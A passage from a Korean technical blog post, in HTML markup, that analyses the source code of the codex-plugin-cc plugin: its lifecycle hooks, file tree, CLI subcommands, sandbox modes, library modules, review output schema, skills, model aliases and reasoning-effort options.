&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;SpawnedCodexAppServerClient&lt;/b&gt; &amp;mdash; 직접 프로세스 스폰 (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;transport: &quot;direct&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;BrokerCodexAppServerClient&lt;/b&gt; &amp;mdash; 브로커 소켓 연결 (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;transport: &quot;broker&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;초기화 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;initialize&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;initialized&lt;/code&gt; 핸드셰이크를 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hook 시스템&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/hooks/hooks.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hooks.json&lt;/a&gt;은 3가지 훅을 정의한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;훅&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스크립트&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;타임아웃&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionStart&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session-lifecycle-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5초&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;환경 변수 설정 (세션 ID)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionEnd&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session-lifecycle-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5초&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 셧다운, 세션 작업 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stop&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;stop-review-gate-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;900초 (15분)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Review Gate 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;SessionStart에서 환경 변수를 설정하고, SessionEnd에서 브로커 셧다운과 세션 작업 정리를 수행한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Stop 훅은 Review Gate 전용으로 15분의 넉넉한 타임아웃을 가진다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;파일 트리 구조&lt;/h3&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;openai/codex-plugin-cc/
├── .claude-plugin/
│   └── marketplace.json          # 마켓플레이스 등록 정보
├── plugins/codex/
│   ├── .claude-plugin/
│   │   └── plugin.json           # 플러그인 메타데이터
│   ├── commands/                  # 7개 슬래시 명령어 (.md)
│   │   ├── review.md
│   │   ├── adversarial-review.md
│   │   ├── rescue.md
│   │   ├── status.md
│   │   ├── result.md
│   │   ├── cancel.md
│   │   └── setup.md
│   ├── agents/
│   │   └── codex-rescue.md       # rescue 서브에이전트
│   ├── hooks/
│   │   └── hooks.json            # 3개 라이프사이클 훅
│   ├── skills/
│   │   ├── codex-cli-runtime/SKILL.md
│   │   ├── codex-result-handling/SKILL.md
│   │   └── gpt-5-4-prompting/SKILL.md
│   ├── prompts/                   # adversarial-review 전용 (review 프롬프트는 commands/review.md에 인라인)
│   │   └── adversarial-review.md
│   ├── schemas/
│   │   └── review-output.schema.json
│   └── scripts/
│       ├── codex-companion.mjs   # 메인 CLI 엔트리포인트
│       ├── session-lifecycle-hook.mjs
│       ├── stop-review-gate-hook.mjs
│       └── lib/                   # 14개 유틸리티 모듈
│           ├── app-server.mjs
│           ├── args.mjs
│           ├── broker-endpoint.mjs
│           ├── broker-lifecycle.mjs
│           ├── codex.mjs
│           ├── fs.mjs
│           ├── git.mjs
│           ├── job-control.mjs
│           ├── process.mjs
│           ├── prompts.mjs
│           ├── render.mjs
│           ├── state.mjs
│           ├── tracked-jobs.mjs
│           └── workspace.mjs
└── package.json                   # @openai/codex-plugin-cc v1.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;codex-companion.mjs &amp;mdash; 메인 엔트리포인트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;메인 CLI 엔트리포인트로 9개 서브커맨드를 처리한다:&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;setup&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;adversarial-review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-worker&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;status&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;result&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-resume-candidate&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cancel&lt;/code&gt;.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review/adversarial-review는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: &quot;read-only&quot;&lt;/code&gt;로 실행되고,&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;task(rescue)는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: request.write ? &quot;workspace-write&quot; : &quot;read-only&quot;&lt;/code&gt;로 실행된다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로 rescue는 write 모드이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;background 작업은 detached child process로 실행되며, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-worker&lt;/code&gt; 서브커맨드가 실제 작업을 처리한다.&lt;/p&gt;
&lt;pre class=&quot;dart&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// codex-companion.mjs &amp;mdash; 모델 별칭과 reasoning effort 검증
const MODEL_ALIASES = new Map([[&quot;spark&quot;, &quot;gpt-5.3-codex-spark&quot;]]);
const VALID_REASONING_EFFORTS = new Set([
  &quot;none&quot;, &quot;minimal&quot;, &quot;low&quot;, &quot;medium&quot;, &quot;high&quot;, &quot;xhigh&quot;
]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;lib/ 주요 모듈 역할&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모듈&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/app-server.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;app-server.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CodexAppServerClient &amp;mdash; 직접 스폰(Spawned)과 브로커 소켓(Broker) 두 전략으로 JSON-RPC 통신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/broker-lifecycle.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;broker-lifecycle.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 프로세스 생성, 연결 검증, 종료, 세션 상태 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/state.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;state.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 시스템 기반 작업 상태 관리 (MAX_JOBS=50, 워크스페이스별 SHA-256 해시 디렉토리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/scripts/lib/job-control.mjs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;job-control.mjs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 조회, 정렬, 상태 스냅샷, 진행 미리보기, 취소 대상 해석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;args.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI 인자 파싱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;broker-endpoint.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 엔드포인트 URL 관리 및 연결 주소 해석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;codex.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex CLI 래핑 및 호출 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;fs.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 시스템 유틸리티 (경로 해석, 파일 읽기/쓰기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;git.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Git 관련 유틸리티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;process.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자식 프로세스 생성 및 생명주기 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;render.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;출력 렌더링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;prompts.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트 구성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tracked-jobs.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 추적 및 이력 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;workspace.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;워크스페이스 경로 해석 및 디렉토리 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;codex-rescue 서브에이전트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;rescue 에이전트는 Codex companion task 런타임의 포워딩 래퍼다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트의 역할은 &quot;사용자의 rescue 요청을 Codex companion 스크립트에 전달하는 것&quot;이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--write&lt;/code&gt; 모드로 실행되며, 사용자가 read-only를 명시적으로 요청한 경우에만 제외한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 출력 스키마 (review-output.schema.json)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2624&quot; data-origin-height=&quot;1432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L7G8S/dJMb990bEYY/eKgCuSBR9uOoQm9fSm4zgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL7G8S%2FdJMb990bEYY%2FeKgCuSBR9uOoQm9fSm4zgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2624&quot; height=&quot;1432&quot; data-origin-width=&quot;2624&quot; data-origin-height=&quot;1432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;verdict&quot;: &quot;approve | needs-attention&quot;,
  &quot;summary&quot;: &quot;...&quot;,
  &quot;findings&quot;: [
    {
      &quot;severity&quot;: &quot;...&quot;,
      &quot;title&quot;: &quot;...&quot;,
      &quot;body&quot;: &quot;...&quot;,
      &quot;file&quot;: &quot;...&quot;,
      &quot;line_start&quot;: 0,
      &quot;line_end&quot;: 0,
      &quot;confidence&quot;: &quot;...&quot;,
      &quot;recommendation&quot;: &quot;...&quot;
    }
  ],
  &quot;next_steps&quot;: [&quot;...&quot;]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;verdict는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;approve&lt;/code&gt; 또는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;needs-attention&lt;/code&gt; 두 값이며,&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 finding에는 severity, title, body, file, line_start, line_end, confidence, recommendation이 포함된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 3개&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;codex-cli-runtime&lt;/b&gt; &amp;mdash; Codex CLI 런타임 통합&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;codex-result-handling&lt;/b&gt; &amp;mdash; Codex 출력의 표시 규칙 정의. 리뷰 결과 후 자동 코드 수정을 금지한다. (&quot;After presenting review findings, STOP. Do not make any code changes.&quot;)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;gpt-5-4-prompting&lt;/b&gt; &amp;mdash; Codex/GPT-5.4에 최적화된 프롬프트 작성 가이드라인. Codex를 &quot;협업자가 아닌 오퍼레이터처럼&quot; 다루고, XML 태그를 사용한 블록 구조의 컴팩트 프롬프트를 권장한다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 / 통합 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex config.toml 연동&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본 모델과 reasoning effort는 Codex의 사용자 레벨 또는 프로젝트 레벨 config.toml에서 커스터마이징할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;명령어에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model&lt;/code&gt;이나 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort&lt;/code&gt;로 오버라이드하는 것도 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 선택&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;기본 모델: config.toml 설정에 따름&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model spark&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑 (가벼운 작업에 적합)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model gpt-5.4-mini&lt;/code&gt; &amp;rarr; 직접 지정 예시. 비용을 절감하면서 중간 수준의 리뷰 품질이 필요할 때 적합하다. 예: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review --model gpt-5.4-mini --base main&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;모델명&amp;gt;&lt;/code&gt; &amp;rarr; 직접 지정. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;MODEL_ALIASES&lt;/code&gt;에 등록되지 않은 모델명은 그대로 Codex API에 전달된다&amp;nbsp;&amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;MODEL_ALIASES.get(model) ?? model&lt;/code&gt; 로직).&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;--effort 옵션 (reasoning effort)&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;6단계 설정이 가능하다: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;none&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;minimal&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;low&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;medium&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;high&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;xhigh&lt;/code&gt;. 간단한 작업에는 낮은 effort, 복잡한 분석에는 높은 effort를 지정하여 비용과 품질을 조절한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;background vs foreground 실행 전략&lt;/h3&gt;
